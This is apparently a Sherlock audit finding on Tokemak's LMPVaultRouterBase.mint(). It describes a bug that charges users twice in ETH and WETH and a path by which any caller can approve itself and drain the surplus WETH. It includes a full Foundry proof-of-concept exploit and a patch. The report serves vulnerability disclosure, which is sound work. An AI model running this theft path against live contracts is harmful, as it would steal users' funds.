chaduke - LMPVaultRouterBase.mint() will double charge a user when the user sends asset tokens using eth (msg.value > 0), and then a stealer can steal the extra payment.

[sherlock-admin]

chaduke

high

LMPVaultRouterBase.mint() will double charge a user when the user sends asset tokens using eth (msg.value > 0), and then a stealer can steal the extra payment.

Summary

LMPVaultRouterBase.mint() will double charge a user when address(vault.asset()) == address(weth9). If a user sends ETH in msg.value, _processEthIn() will convert the received ETH to weth, and then pullToken(vaultAsset, assets, address(this)); will charge the user weth again, a double charge to the user.
The LMPVaultRouterBase contract will receive both eth and weth, a double payment. Our POC confirms this finding.

Even worse, another user can steal the extra payment of weth that is stored in the LMPVaultRouterBase account. This is accomplished by calling the approve() function in the parent contract PeripherayPayments to give allowance to the stealer, and then the stealer can simply steal the funds via calling weth.transferFrom().

Vulnerability Detail

A user can mint vault tokens via mint():

https://github.com/Tokemak/v2-core-audit-2023-07-14/blob/62445b8ee3365611534c96aef189642b721693bf/src/vault/LMPVaultRouterBase.sol#L23-L41

A user can send ETH directly via msg.value when address(vault.asset()) == address(weth9), in this case the _processEthIn( converts eth into weth:

https://github.com/Tokemak/v2-core-audit-2023-07-14/blob/62445b8ee3365611534c96aef189642b721693bf/src/vault/LMPVaultRouterBase.sol#L111-L122

However, pullToken(vaultAsset, assets, address(this)); will charge the user again by pulling weth from msg.sender. As a result, the user (msg.sender) is charged twice, a loss of funds.

Extra funds of weth9 will be stored in the contract and then another user can steal the funds by calling the the approve() function in the parent contract PeripherayPayments to give allowance to the stealer, and then the stealer can simply steal the funds via calling weth.transferFrom().

Impact

The user (msg.sender) is charged twice, a loss of funds when the user send ETH via msg.value and address(vault.asset()) == address(weth9). Moreover, a stealer can steal such extra funds of weth in the contract.

Code Snippet

The following POC code confirms my finding. As one can see, the user is charged with 0.1e18 eth as well as 0.1e18 weth, a double charge. For simplicity, I commented out the line "rewarder.stake(to, amount);" from LMPVault._afterTokenTransfer(), which should not affect this finding result.

The POC also show the stealer address(333) can easily steal the extra payment of 0.1e18 WETH9 from the contract by setting allowance and then perform a transferFrom.

// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.17;

import "forge-std/Test.sol";
import { TestERC20 } from "test/mocks/TestERC20.sol";
import { SystemRegistry } from "src/SystemRegistry.sol";
import { LMPVaultRegistry } from "src/vault/LMPVaultRegistry.sol";
import { LMPVaultFactory } from "src/vault/LMPVaultFactory.sol";
import { AccessController } from "src/security/AccessController.sol";
import { SystemSecurity } from "src/security/SystemSecurity.sol";
import { LMPVault } from "src/vault/LMPVault.sol";
import { Roles } from "src/libs/Roles.sol";
import { Clones } from "openzeppelin-contracts/proxy/Clones.sol";

import { IWETH9 } from "src/interfaces/utils/IWETH9.sol";
import "src/tokens/WETH9.sol";
import "src/vault/LMPVaultRouterBase.sol";


contract myLMPVaultRouterBase is LMPVaultRouterBase{
    constructor(address _weth9)LMPVaultRouterBase(_weth9)
    {

    }
} 

contract MyTest is Test {
    using Clones for address;

    SystemRegistry private _systemRegistry;
    AccessController private _accessController;
    LMPVaultRegistry private _lmpVaultRegistry;
    LMPVaultFactory private _lmpVaultFactory;
    SystemSecurity private _systemSecurity;
    address _template;

    TestERC20 _toke;
    TestERC20 _asset;
    IWETH9 weth9;
    myLMPVaultRouterBase lmp;
    LMPVault _vault;
    



    function setUp() public virtual {
        vm.label(address(this), "testContract");

        _toke = new TestERC20("test", "test");
        vm.label(address(_toke), "toke");

        _systemRegistry = new SystemRegistry(address(_toke), address(new TestERC20("weth", "weth")));
        _systemRegistry.addRewardToken(address(_toke));

        _accessController = new AccessController(address(_systemRegistry));
        _systemRegistry.setAccessController(address(_accessController));

        _lmpVaultRegistry = new LMPVaultRegistry(_systemRegistry);
        _systemRegistry.setLMPVaultRegistry(address(_lmpVaultRegistry));

        _systemSecurity = new SystemSecurity(_systemRegistry);
        _systemRegistry.setSystemSecurity(address(_systemSecurity));

        // Setup the LMP Vault

        _asset = new TestERC20("asset", "asset");
        _systemRegistry.addRewardToken(address(_asset));
        vm.label(address(_asset), "asset");

       
        weth9 = IWETH9(address(new WETH9()));
        _template = address(new LMPVault(_systemRegistry, address(weth9)));

        _lmpVaultFactory = new LMPVaultFactory(_systemRegistry, _template, 800, 100);    
        _accessController.grantRole(Roles.REGISTRY_UPDATER, address(_lmpVaultFactory));         


        lmp = new myLMPVaultRouterBase(address(weth9));
        _vault = LMPVault(address(_template).cloneDeterministic(keccak256("salt")));
        _vault.initialize(1000e18, 1e18, "x", "y", "");
        
    }


    function testMe() public
    {
        weth9.deposit{value: 1e18}();
        assertEq(1e18, weth9.balanceOf(address(this)));
        uint256 beforeWethBal =  weth9.balanceOf(address(this));
        uint256 beforeEthBal = address(this).balance;
        
        weth9.approve(address(lmp), 0.1e18);
        lmp.mint{value: 0.1e18}(_vault, address(333), 0.1e18, 0.1e18);

        uint256 afterWethBal =  weth9.balanceOf(address(this));
        uint256 afterEthBal = address(this).balance;

        console2.log("beforeWethBal: %d", beforeWethBal);
        console2.log("afterWethBal: %d", afterWethBal);       
        console2.log("beforeEthBal: %d", beforeEthBal);
        console2.log("afterEthBal: %d", afterEthBal);       
        

        assertEq(beforeWethBal - afterWethBal, 0.1e18);     // paid 0.1e18 weth 
        assertEq(beforeEthBal - afterEthBal, 0.1e18);      // also paid 0.1e18 eth, doubple payment 

        // now address(333) can steal the 0.1e18 in the contract
        uint256 before333bal = weth9.balanceOf(address(333));
        vm.prank(address(333));
        lmp.approve(IERC20(address(weth9)), address(333), 0.1e18);
        vm.prank(address(333));
        weth9.transferFrom(address(lmp), address(333), 0.1e18);
        uint256 after333bal = weth9.balanceOf(address(333));
        console2.log("after333bal: %d", after333bal);

        assertEq(after333bal-before333bal, 0.1e18);
    }
}

Tool used

VScode

Manual Review

Recommendation

Only call pullToken(vaultAsset, assets, address(this)); when msg.value == 0.

 function mint(
        ILMPVault vault,
        address to,
        uint256 shares,
        uint256 maxAmountIn
    ) public payable virtual override returns (uint256 amountIn) {
        // handle possible eth
        _processEthIn(vault);

        IERC20 vaultAsset = IERC20(vault.asset());
        uint256 assets = vault.previewMint(shares);
-        pullToken(vaultAsset, assets, address(this));
+      if(msg.value == 0) pullToken(vaultAsset, assets, address(this));

        vaultAsset.safeApprove(address(vault), assets);

        amountIn = vault.mint(shares, to);
        if (amountIn > maxAmountIn) {
            revert MaxAmountError();
        }
    }

Duplicate of #1